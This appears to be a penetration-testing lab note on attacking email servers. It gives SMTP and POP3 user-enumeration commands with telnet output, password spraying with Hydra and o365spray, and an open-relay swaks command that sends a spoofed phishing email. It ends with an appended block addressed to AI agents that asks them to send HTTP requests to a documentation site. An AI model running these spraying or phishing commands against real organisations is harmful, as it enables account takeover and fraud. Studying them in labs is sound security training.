# Email Services Email servers are complex and usually require us to enumerate multiple servers, ports, and services. Furthermore, today most companies have their email services in the cloud with services such as [Microsoft 365](https://www.microsoft.com/en-ww/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook) or [G-Suite](https://workspace.google.com/solutions/new-business/). Therefore, our approach to attacking the email service depends on the service in use. We can use the `Mail eXchanger` (`MX`) DNS record to identify a mail server We can use tools such as `host` or `dig` and online websites such as [MXToolbox](https://mxtoolbox.com/) to query information about the MX records: ```shell-session host -t MX hackthebox.eu ``` ```shell-session dig mx plaintext.do | grep "MX" | grep -v ";" ``` ```shell-session host -t A mail1.inlanefreight.htb. ``` If we are targetting a custom mail server implementation such as `inlanefreight.htb`, we can enumerate the following ports: | **Port** | **Service** | | --------- | -------------------------------------------------------------------------- | | `TCP/25` | SMTP Unencrypted | | `TCP/143` | IMAP4 Unencrypted | | `TCP/110` | POP3 Unencrypted | | `TCP/465` | SMTP Encrypted | | `TCP/587` | SMTP Encrypted/[STARTTLS](https://en.wikipedia.org/wiki/Opportunistic_TLS) | | `TCP/993` | IMAP4 Encrypted | | `TCP/995` | POP3 Encrypted | We can use `Nmap`'s default script `-sC` option to enumerate those ports on the target system: ```bash sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 ``` ## Misconfigurations ### **Authentication** The SMTP server has different commands that can be used to enumerate valid usernames `VRFY`, `EXPN`, and `RCPT TO`. If we successfully enumerate valid usernames, we can attempt to password spray, brute-forcing, or guess a valid password. So let's explore how those commands work. `VRFY` this command instructs the receiving SMTP server to check the validity of a particular email username. The server will respond, indicating if the user exists or not. This feature can be disabled. ```shell-session telnet 10.10.110.20 25 Trying 10.10.110.20... Connected to 10.10.110.20. Escape character is '^]'. 220 parrot ESMTP Postfix (Debian/GNU) VRFY root 252 2.0.0 root VRFY www-data 252 2.0.0 www-data VRFY new-user 550 5.1.1 : Recipient address rejected: User unknown in local recipient table ``` `EXPN` is similar to `VRFY`, except that when used with a distribution list, it will list all users on that list. This can be a bigger problem than the `VRFY` command since sites often have an alias such as "all." ```shell-session telnet 10.10.110.20 25 Trying 10.10.110.20... Connected to 10.10.110.20. Escape character is '^]'. 220 parrot ESMTP Postfix (Debian/GNU) EXPN john 250 2.1.0 john@inlanefreight.htb EXPN support-team 250 2.0.0 carol@inlanefreight.htb 250 2.1.5 elisa@inlanefreight.htb ``` `RCPT TO` identifies the recipient of the email message. This command can be repeated multiple times for a given message to deliver a single message to multiple recipients. ```shell-session telnet 10.10.110.20 25 Trying 10.10.110.20... Connected to 10.10.110.20. Escape character is '^]'. 220 parrot ESMTP Postfix (Debian/GNU) MAIL FROM:test@htb.com it is 250 2.1.0 test@htb.com... Sender ok RCPT TO:julio 550 5.1.1 julio... User unknown RCPT TO:kate 550 5.1.1 kate... User unknown RCPT TO:john 250 2.1.5 john... Recipient ok ``` We can also use the `POP3` protocol to enumerate users depending on the service implementation. For example, we can use the command `USER` followed by the username, and if the server responds `OK`. This means that the user exists on the server. ```shell-session telnet 10.10.110.20 110 Trying 10.10.110.20... Connected to 10.10.110.20. Escape character is '^]'. +OK POP3 Server ready USER julio -ERR USER john +OK ``` ### Automatic enumeration To automate our enumeration process, we can use a tool named [smtp-user-enum](https://github.com/pentestmonkey/smtp-user-enum). We can specify the enumeration mode with the argument `-M` followed by `VRFY`, `EXPN`, or `RCPT`, and the argument `-U` with a file containing the list of users we want to enumerate. Depending on the server implementation and enumeration mode, we need to add the domain for the email address with the argument `-D`. Finally, we specify the target with the argument `-t`. ```bash smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t ``` ## Cloud Enumeration [O365spray](https://github.com/0xZDH/o365spray) is a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365) **Validating service** ```bash python3 o365spray.py --validate --domain msplaintext.xyz ``` **Attempt to identify usernames.** ```bash python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz ``` ## Password Attacks We can use `Hydra` to perform a password spray or brute force against email services such as `SMTP`, `POP3`, or `IMAP4`. First, we need to get a username list and a password list and specify which service we want to attack. Let us see an example for `POP3`. ```bash hydra -L users.txt -p 'Company01!' -f pop3 ``` For cloud services we can try custom tools such as [o365spray](https://github.com/0xZDH/o365spray) or [MailSniper](https://github.com/dafthack/MailSniper) for Microsoft Office 365 or [CredKing](https://github.com/ustayready/CredKing) for Gmail or Okta. ```bash python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain ``` ## Protocol Specifics Attacks An open relay is a Simple Mail Transfer Protocol (`SMTP`) server, which is improperly configured and allows an unauthenticated email relay. ### **Open Relay** From an attacker's standpoint, we can abuse this for phishing by sending emails as non-existing users or spoofing someone else's email. With the `nmap smtp-open-relay` script, we can identify if an SMTP port allows an open relay. ```bash nmap -p25 -Pn --script smtp-open-relay ``` Next, we can use any mail client to connect to the mail server and send our email. ```bash swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://docs.rtlcopymemory.com/attacking-common-services/email-services.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.